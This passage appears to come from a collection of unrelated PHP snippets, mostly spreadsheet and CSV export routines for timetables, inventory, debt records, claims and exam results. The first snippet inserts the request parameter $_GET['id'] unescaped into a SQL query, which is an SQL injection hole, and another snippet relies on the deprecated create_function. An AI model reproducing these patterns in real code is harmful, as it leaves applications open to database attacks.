' ', teachers.prenom, ' | ', teachers.nom_khmer, ' ', teachers.prenom_khmer, ' | ', sexes.sex) as teacher, subjects.subject, levels.level\n FROM curricula\n JOIN courses ON curricula.course_id = courses.course_id\n JOIN subjects ON curricula.subject_id = subjects.subject_id\n JOIN teachers ON teachers.teacher_id = curricula.teacher_id\n JOIN sexes ON teachers.sex_id = sexes.sex_id\n JOIN levels ON courses.level_id = levels.level_id\n JOIN timetables ON timetables.curriculum_id = curricula.curriculum_id\n WHERE timetables.timetable_id = {$_GET['id']}\";\n\n $curricula_data = $connection->query($sql);\n\n if ($connection->get_row_num() == 0) {\n header(\"Location: http://\".WEBSITE_URL.\"/index.php?controller=curricula&action=index\");\n }\n\n $curricula_data = $curricula_data[0];\n\n $content .='Teacher: '.$curricula_data['teacher'].'<br>';\n $content .='Subject: '.$curricula_data['subject'].'<br>';\n $content .='Level: '.$curricula_data['level'].'<br>';\n\n\n $columns = array ('start_time_id, end_time_id, weekday_id, classroom_id, timetable_period_id');\n\n $neat_columns = array ('Start Time', 'End Time', 'Week Day', 'Classroom', 'Time Period' , 'Update', 'Delete');\n\n // create curriculum_id array\n $sql = \"SELECT curriculum_id FROM timetables WHERE timetable_id = {$id}\";\n\n $curriculum_id_result = $connection->query($sql);\n $curriculum_id_array = $curriculum_id_result[0];\n\n // time_id, weekday_id, curriculum_id, classroom_id,\n $sql = 'SELECT time_id as start_time_id, time_class as time1 FROM time ORDER BY time_id ASC';\n $time1_result = $connection->query($sql);\n\n $sql = 'SELECT time_id as end_time_id, time_class as time2 FROM time ORDER BY time_id ASC';\n $time2_result = $connection->query($sql);\n\n $sql = 'SELECT weekday_id, weekday FROM weekdays ORDER BY weekday_id';\n $weekdays_result = $connection->query($sql);\n\n $sql = \"SELECT timetable_period_id, CONCAT(nom, ', from ', date_from, ' to ', date_to) as timetable_period FROM timetable_periods ORDER BY date_from\";\n $timetable_periods_result = $connection->query($sql);\n\n $sql = 'SELECT classroom_id, classroom FROM classrooms ORDER BY classroom ASC';\n $classrooms_result = $connection->query($sql);\n\n $drop_down = array(\n 'start_time_id' => array('start_time' => $time1_result),\n 'end_time_id' => array('end_time' => $time2_result),\n 'weekday_id' => array('weekday' => $weekdays_result),\n 'timetable_period_id'=>array('timetable_period'=> $timetable_periods_result),\n 'classroom_id' => array('classroom' => $classrooms_result)\n );\n\n /********************************************************************/\n /* CONFIGURES Form structure */\n\n $form = array(\n 'action' => '?controller=timetable&action=update&id='.$id,\n 'div' => \"class='solitary_input'\",\n 'div_button' => \"class='submit_button1'\",\n 'method' => 'post',\n 'action_links' => array(1 => array('delete', '?controller=timetable&action=delete&id=')),\n 'id' => 'top_form',\n 'elements' => array(\n 1 => array ('hidden' => $curriculum_id_array),\n 3 => array ('drop_down' => 'start_time_id'),\n 4 => array ('drop_down' => 'end_time_id'),\n 5 => array ('drop_down' => 'weekday_id'),\n 6 => array ('drop_down' => 'classroom_id'),\n 7 => array ('drop_down' => 'timetable_period_id'),\n 10 => array ('submit' => 'update')\n )\n );\n\n $table->set_top_form($form);\n\n $table->set_table_name('timetables');\n $table->set_id_column('timetable_id');\n\n $table->set_table_column_names($columns);\n $table->set_html_table_column_names($neat_columns);\n\n $table->set_values_form(); // set values found in database into form elements when building top_form\n $table->set_drop_down($drop_down);\n $table->set_form_array($form);\n\n\n $content .= \"</div>\";\n\n $content .= \" <div class='two_thirds_right'><table>\".$table->details().'</table></div>';\n $output['content'] = $content;\n return $output;\n\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function excel_export($template = 0) {\n $data = $this->tour->get_tours()->result_object();\n $this->load->helper('report');\n $rows = array();\n $row = array(lang('tour_tour_id'), lang('tour_tour_name'), lang('tour_action_name_key'), lang('tour_sort'), lang('tour_deleted'));\n\n $n = 1;\n $rows[] = $row;\n foreach ($data as $r) {\n $row = array(\n $n ++,\n $r->tour_name,\n $r->action_name_key,\n $r->sort,\n $r->deleted,\n );\n $rows[] = $row;\n }\n\n $content = array_to_csv($rows);\n\n if ($template) {\n force_download('tours_export_mass_update.csv', $content);\n } else {\n force_download('tours_export.csv', $content);\n }\n exit;\n }", "function dataDashboardExcel ($objPHPExcel,$startCell,$endCell,$techGate){\n\n\n\tif(($techGate==\"1-YTS\"))\n\t$colorCode='33CCCC';\n\telse if(($techGate==\"2-WIP\")||($techGate==\"4-WIP2\"))\n\t$colorCode='FFCCFFCC';\n\telse if(($techGate==\"3-PIR\")||($techGate==\"5-PIR2\"))\n\t$colorCode='FFFF00';\n\telse if(($techGate==\"6-Final\"))\n\t$colorCode='C0C0C0';\n\telse if(($techGate==\"8-On Hold\"))\n\t$colorCode='CC99FF';\n\telse\n\t$colorCode='FFFFFF';\n\t$objPHPExcel->getActiveSheet()->getStyle($startCell.$i.':'.$endCell.$i)->applyFromArray(\n\tarray('fill' \t=> array(\n\t\t\t\t\t\t\t\t'type'\t\t=> PHPExcel_Style_Fill::FILL_SOLID,\n\t\t\t\t\t\t\t\t'color'\t\t=> array('argb' => $colorCode)\n\t),\n\t\t 'borders' => array(\t\n\t\t\t\t\t\t\t\t'bottom'\t=> array('style' => PHPExcel_Style_Border::BORDER_THIN),\n\t\t\t\t\t\t\t\t'right'\t\t=> array('style' => PHPExcel_Style_Border::BORDER_MEDIUM)\n\t)\n\t)\n\t);\n\n\n\n}", "function getOverviewHeader($a_data)\n {\n global $lng, $ilUser;\n\n $tpl = new ilTemplate(\"tpl.assignment_head.html\", true, true, \"Customizing/global/plugins/Services/Repository/RepositoryObject/Ephorus\");\n\n if ($a_data[\"deadline\"] - time() <= 0)\n {\n $tpl->setCurrentBlock(\"prop\");\n $tpl->setVariable(\"PROP\", $lng->txt(\"rep_robj_xeph_ended_on\"));\n $tpl->setVariable(\"PROP_VAL\",\n ilDatePresentation::formatDate(new ilDateTime($a_data[\"deadline\"],IL_CAL_UNIX)));\n $tpl->parseCurrentBlock();\n }\n else if ($a_data[\"start_time\"] > 0 && time() - $a_data[\"start_time\"] <= 0)\n {\n $tpl->setCurrentBlock(\"prop\");\n $tpl->setVariable(\"PROP\", $lng->txt(\"rep_robj_xeph_starting_on\"));\n $tpl->setVariable(\"PROP_VAL\",\n ilDatePresentation::formatDate(new ilDateTime($a_data[\"start_time\"],IL_CAL_UNIX)));\n $tpl->parseCurrentBlock();\n }\n else\n {\n $time_str = $this->getTimeString($a_data[\"deadline\"]);\n $tpl->setCurrentBlock(\"prop\");\n $tpl->setVariable(\"PROP\", $lng->txt(\"rep_robj_xeph_time_to_send\"));\n $tpl->setVariable(\"PROP_VAL\", $time_str);\n $tpl->parseCurrentBlock();\n $tpl->setCurrentBlock(\"prop\");\n $tpl->setVariable(\"PROP\", $lng->txt(\"rep_robj_xeph_edit_until\"));\n $tpl->setVariable(\"PROP_VAL\",\n ilDatePresentation::formatDate(new ilDateTime($a_data[\"deadline\"],IL_CAL_UNIX)));\n $tpl->parseCurrentBlock();\n\n }\n\n $mand = \"\";\n if ($a_data[\"mandatory\"])\n {\n $mand = \" (\".$lng->txt(\"rep_robj_xeph_mandatory\").\")\";\n }\n $tpl->setVariable(\"TITLE\", $a_data[\"title\"].$mand);\n\n // status icon\n $stat = ilEphAssignment::lookupStatusOfUser($a_data[\"id\"], $ilUser->getId());\n switch ($stat)\n {\n case \"passed\": \t$pic = \"scorm/passed.png\"; break;\n case \"failed\":\t$pic = \"scorm/failed.png\"; break;\n default: \t\t$pic = \"scorm/not_attempted.png\"; break;\n }\n $tpl->setVariable(\"IMG_STATUS\", ilUtil::getImagePath($pic));\n $tpl->setVariable(\"ALT_STATUS\", $lng->txt(\"rep_robj_xeph_\".$stat));\n\n return $tpl->get();\n }", "public function index()\n {\n $this->sheet_names = array(\n 'Desktop' => 'desktops',\n 'Firewall' => 'firewalls',\n 'Hard Disk' => 'hard_disks',\n 'Headset' => 'headsets',\n 'Keyboard' => 'keyboards' ,\n 'Mac' => 'macs' ,\n 'Memory' => 'memories' ,\n 'Monitor' => 'monitors',\n 'Mouse' => 'mice',\n 'Network Switch' => 'network_switches',\n 'Portable Hard Disk' => 'portable_hard_disks',\n 'Printer'=> 'printers', \n 'Projector' => 'projectors',\n 'Scanner' => 'scanners', \n 'Software' => 'softwares', \n 'Speaker' => 'speakers' ,\n 'Telephone' => 'telephones' ,\n 'Uninterruptible Power Supply' => 'uninterruptible_power_supplies',\n 'Video Card' => 'video_cards',\n 'Other Component' => 'other_components',\n );\n\n // create the excell file\n Excel::create('Inventory Report', function($excel){\n // CPU Sheet\n foreach ($this->sheet_names as $key => $value) {\n $this->key = $key;\n $this->value = $value;\n $excel->sheet($this->key, function($sheet){\n $data = DB::table('asset_tags')\n ->join('work_stations', 'work_stations.id', '=', 'asset_tags.work_station_id')\n ->join($this->value, $this->value.'.id', '=', 'asset_tags.component_id')\n ->select('*')\n ->where('asset_tags.component_type', $this->key)\n ->orderBy('work_stations.name')\n ->get();\n\n $active = DB::table('asset_tags')\n ->join('work_stations', 'work_stations.id', '=', 'asset_tags.work_station_id')\n ->join($this->value, $this->value.'.id', '=', 'asset_tags.component_id')\n ->select('*')\n ->where('asset_tags.component_type', $this->key)\n ->where('asset_tags.status', 'active')\n ->orderBy('work_stations.name')\n ->count();\n\n $repair = DB::table('asset_tags')\n ->join('work_stations', 'work_stations.id', '=', 'asset_tags.work_station_id')\n ->join($this->value, $this->value.'.id', '=', 'asset_tags.component_id')\n ->select('*')\n ->where('asset_tags.component_type', $this->key)\n ->where('asset_tags.status', 'repair')\n ->orderBy('work_stations.name')\n ->count();\n\n $dispose = DB::table('asset_tags')\n ->join('work_stations', 'work_stations.id', '=', 'asset_tags.work_station_id')\n ->join($this->value, $this->value.'.id', '=', 'asset_tags.component_id')\n ->select('*')\n ->where('asset_tags.component_type', $this->key)\n ->where('asset_tags.status', 'dispose')\n ->orderBy('work_stations.name')\n ->count();\n\n if($this->key == 'Hard Disk' || $this->key == 'Portable Hard Disk'){\n $sheet->loadView('excel.assets-capacity')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n else if($this->key == 'Mac'){\n $sheet->loadView('excel.assets-mac')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n else if($this->key == 'Memory'){\n $sheet->loadView('excel.assets-memory')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n else if($this->key == 'Other Component'){\n $sheet->loadView('excel.assets-other')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n else if($this->key == 'Software'){\n $sheet->loadView('excel.assets-software')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n else{\n $sheet->loadView('excel.assets')->with('data',$data)->with('active', $active)->with('repair', $repair)->with('dispose', $dispose);\n }\n \n }); \n }\n })->download('xls');\n }", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "function &getColumnHeaders( $action = null, $type = null ) {\n $columns = array(\n array(\n 'name' => 'id',\n 'sort' => 0,\n 'direction' => CRM_Utils_Sort::ASCENDING,\n ),\n array(\n 'name' => 'status_desc',\n 'sort' => 0,\n 'direction' => CRM_Utils_Sort::ASCENDING,\n )\n );\n \n foreach($this->importData['fields'] as $field) {\n $columns[] = array(\n 'name' => $field,\n 'sort' => 0,\n 'direction' => CRM_Utils_Sort::ASCENDING,\n );\n }\n \n return $columns;\n }", "public function basic2(){\n // Create new Spreadsheet object\n $spreadsheet = new Spreadsheet();\n\n // Set document properties\n\n $spreadsheet->getProperties()->setCreator('Maarten Balliauw')\n ->setLastModifiedBy('Maarten Balliauw')\n ->setTitle('Office 2007 XLSX Test Document')\n ->setSubject('Office 2007 XLSX Test Document')\n ->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n ->setKeywords('office 2007 openxml php')\n ->setCategory('Test result file');\n\n// Add some data\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n\n// Miscellaneous glyphs, UTF-8\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A4', 'Miscellaneous glyphs')\n ->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');\n\n// Rename worksheet\n $spreadsheet->getActiveSheet()->setTitle('Simple');\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Ods)\n header('Content-Type: application/vnd.oasis.opendocument.spreadsheet');\n header('Content-Disposition: attachment;filename=\"01simple.ods\"');\n header('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\n header('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n\n $writer = IOFactory::createWriter($spreadsheet, 'Ods');\n $writer->save('php://output');\n exit;\n\n }", "public function downloadXlsFile(Request $request) {\n //getting data\n $id = $request->id;\n $type = $request->type;\n $claim_no = $request->claim_no;\n $state = $request->state;\n $policy_no = $request->policy_no;\n $information = $request->information;\n\n if($type == 'xact') {\n $path = public_path('sample_file/test.xls');\n $labels = Label::where('user_id', $id)->get();\n if ($labels->isEmpty()) {\n $request->session()->flash('error', 'Record not found.');\n return redirect()->back();\n }\n $user = User::where('id', $id)->first();\n $user_name = $user->full_name; //setting file name\n $file_name = $user_name . '_ClaimedContent' . time();\n ///getting or loading template in which we want to put data\n $spreadsheet = \\PhpOffice\\PhpSpreadsheet\\IOFactory::load($path);\n $worksheet = $spreadsheet->getActiveSheet();\n $worksheet->setCellValue('E2', $user_name);\n $worksheet->setCellValue('H2', $claim_no);\n $worksheet->setCellValue('H3', $policy_no);\n $worksheet->setCellValue('K3', $state);\n $worksheet->setCellValue('D4', $information);\n\n $counter = 9;\n foreach ($labels as $label) {\n //specifying cells for putting data in them\n $worksheet->setCellValue('B' . $counter . '', $label->room_name);\n $worksheet->setCellValue('C' . $counter . '', $label->brand);\n $worksheet->setCellValue('D' . $counter . '', $label->model);\n $worksheet->setCellValue('E' . $counter . '', $label->item_name);\n $worksheet->setCellValue('F' . $counter . '', $label->quantity);\n $worksheet->setCellValue('G' . $counter . '', $label->age_in_years);\n $worksheet->setCellValue('H' . $counter . '', $label->age_in_months);\n $worksheet->setCellValue('J' . $counter . '', $label->cost_to_replace);\n $counter++;\n }\n $writer = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createWriter($spreadsheet, 'Xls');\n //setting headers to save file in our downloads directory\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"' . $file_name . '.xls\"');\n header(\"Content-Transfer-Encoding: binary\");\n $writer->save(\"php://output\");\n ////end code for getting xls/csv template and append data from database in it/////\n return redirect()->back();\n } else if ($type == 'simsol') {\n \n// $result = Photo::with('getLabel.getRoom', 'getItems')->where('user_id', $id)->get();\n $result = Label::where('user_id', $id)->get();\n// dd($result);\n if($result->isEmpty()){\n $request->session()->flash('error', 'No Record Found.');\n return redirect()->back();\n }\n $unique_name = time();\n $headers = array(\n \"Content-type\" => \"text/csv\",\n \"Content-Disposition\" => \"attachment; filename=\" . $unique_name . \"_items.csv\",\n \"Pragma\" => \"no-cache\",\n \"Cache-Control\" => \"must-revalidate, post-check=0, pre-check=0\",\n \"Expires\" => \"0\"\n );\n $columns = array('Item#', 'Room', 'Brand Or Manufacturer ', 'Model#', 'Serial Number', 'Quantity Lost', 'Item Age (Years)', 'Item Age (Month)', 'Cost to Replace Pre-Tax (each)', 'Total Cost');\n\n $callback = function() use ($result, $columns) {\n $file = fopen('php://output', 'w');\n fputcsv($file, $columns);\n $count = 1;\n foreach ($result as $labels) {\n $columns_data = array();\n $columns_data[] = $count;\n $columns_data[] = $labels->room_name;\n $columns_data[] = $labels->brand;\n $columns_data[] = $labels->model;\n $columns_data[] = $labels->serial_no;\n $columns_data[] = $labels->quantity;\n $columns_data[] = $labels->age_in_years;\n $columns_data[] = $labels->age_in_months;\n $columns_data[] = $labels->cost_to_replace;\n $total = ($labels->quantity * $labels->cost_to_replace);\n $columns_data[] = round($total, 2);\n $count++;\n fputcsv($file, $columns_data);\n }\n fclose($file);\n };\n return Response::stream($callback, 200, $headers);\n }\n else if($type == 'photo'){\n $data['contents'] = Photo::with('getLabel')->with('getGroup.getGroupLabel')->where('user_id', $id)->where('is_labeled', 1)->get();\n// dd($data);\n $pdf = PDF::loadView('admin.pdf', $data);\n return $pdf->stream('document.pdf');\n $request->session()->flash('success', 'PDF created.');\n return redirect()->back();\n } else{\n $request->session()->flash('error', 'Please Select Download Type,In Which Format You Want to Download the File.');\n return redirect()->back();\n }\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public\n function getReportAsExcel($id)\n {\n // kill the debugbar briefly\n \\Debugbar::disable();\n\n // get some exam stats\n $exam = Exam_instance::findOrFail($id);\n $results = SortableExam_results::where('exam_instances_id', '=', $id)->sortable()->get();\n $maxscore = 0;\n foreach ($exam->exam_instance_items()->scorable()->get() as $item) {\n $maxscore += $item->items->max('value');\n }\n $stats = [];\n // dd($results->pluck('total')->toArray());\n $overall_hist = $this->hist_array(1, $results->pluck('total')->toArray());\n $stats['overall'] = ['n' => $results->count(), 'mean' => $results->avg('total'), 'median' => $this->median($results->pluck('total')->toArray()), 'stdev' => $this->sd($results->pluck('total')->toArray()), 'min' => $results->min('total'), 'max' => $results->max('total'), 'hist_array' => $overall_hist];\n\n\n // an array containing the alphabet\n $alphabetArr = array();\n $j = 0;\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = $i;\n }\n // this extends the possible spreadsheet cells a bit.\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"A\" . $i;\n }\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"B\" . $i;\n }\n foreach (range('A', 'Z') as $i) {\n $alphabetArr[] = \"C\" . $i;\n }\n\n // the spreadsheet object\n $phpspreadsheetObj = new Spreadsheet();\n\n // make a new Excel sheet\n $summaryWorksheet = new Worksheet($phpspreadsheetObj, 'Assessment summary');\n // $phpexcelObj->createSheet();\n $phpspreadsheetObj->addSheet($summaryWorksheet, 0);\n\n // put some headings in\n $summaryWorksheet->setCellValue('A1', \"Assessment summary: {$exam->name} {$exam->start_datetime}\");\n $summaryWorksheet->getStyle('A1')->getFont()->setSize(16);\n $summaryWorksheet->setCellValue('A2', \"Student Number\");\n $summaryWorksheet->getStyle('A2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('B2', \"Student Name\");\n $summaryWorksheet->getStyle('B2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('C2', \"Assessment Date/Time\");\n $summaryWorksheet->getStyle('C2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('D2', \"Site\");\n $summaryWorksheet->getStyle('D2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('E2', \"Score\");\n $summaryWorksheet->getStyle('E2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('F2', \"Out of a Possible\");\n $summaryWorksheet->getStyle('F2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('G2', \"Comments\");\n $summaryWorksheet->getStyle('G2')->getFont()->setBold(true);\n $summaryWorksheet->setCellValue('H2', \"Assessor\");\n $summaryWorksheet->getStyle('H2')->getFont()->setBold(true);\n\n// format a bit\n $summaryWorksheet->getColumnDimension('A')->setWidth(26);\n $summaryWorksheet->getColumnDimension('B')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('C')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('D')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('E')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('F')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('G')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('H')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('I')->setAutoSize(true);\n $summaryWorksheet->getColumnDimension('J')->setAutoSize(true);\n\n // write the summary to the spreadsheet\n $i = 0;\n foreach ($results as $result) {\n $summaryWorksheet->setCellValue('A' . ($i + 3), $result->student->studentid);\n $summaryWorksheet->setCellValue('B' . ($i + 3), $result->studentname);\n $summaryWorksheet->setCellValue('C' . ($i + 3), date_format($result->created_at, 'd/m/Y H:i:s A'));\n $summaryWorksheet->setCellValue('D' . ($i + 3), $result->groupcode);\n $summaryWorksheet->setCellValue('E' . ($i + 3), $result->total);\n $summaryWorksheet->setCellValue('F' . ($i + 3), $maxscore);\n $summaryWorksheet->setCellValue('G' . ($i + 3), $result->comments);\n $summaryWorksheet->setCellValue('H' . ($i + 3), $result->created_by);\n $i++;\n }\n\n ///////////////////////////////////////////////\n /// make a detailed worksheet- sort of a data dump\n /// /////////////////////////////////////////////\n\n $detailWorksheet = new Worksheet($phpspreadsheetObj, 'Assessment detail');\n $phpspreadsheetObj->addSheet($detailWorksheet, 1);\n\n // put some headings in\n $detailWorksheet->setCellValue('A1', \"Assessment detail: {$exam->name} {$exam->start_datetime}\");\n $detailWorksheet->getStyle('A1')->getFont()->setSize(16);\n $detailWorksheet->getColumnDimension('A1')->setAutoSize(true);\n $detailWorksheet->setCellValue('A2', \"Student Number\");\n $detailWorksheet->getStyle('A2')->getFont()->setBold(true);\n $detailWorksheet->getColumnDimension('A2')->setAutoSize(true);\n $detailWorksheet->setCellValue('B2', \"Student 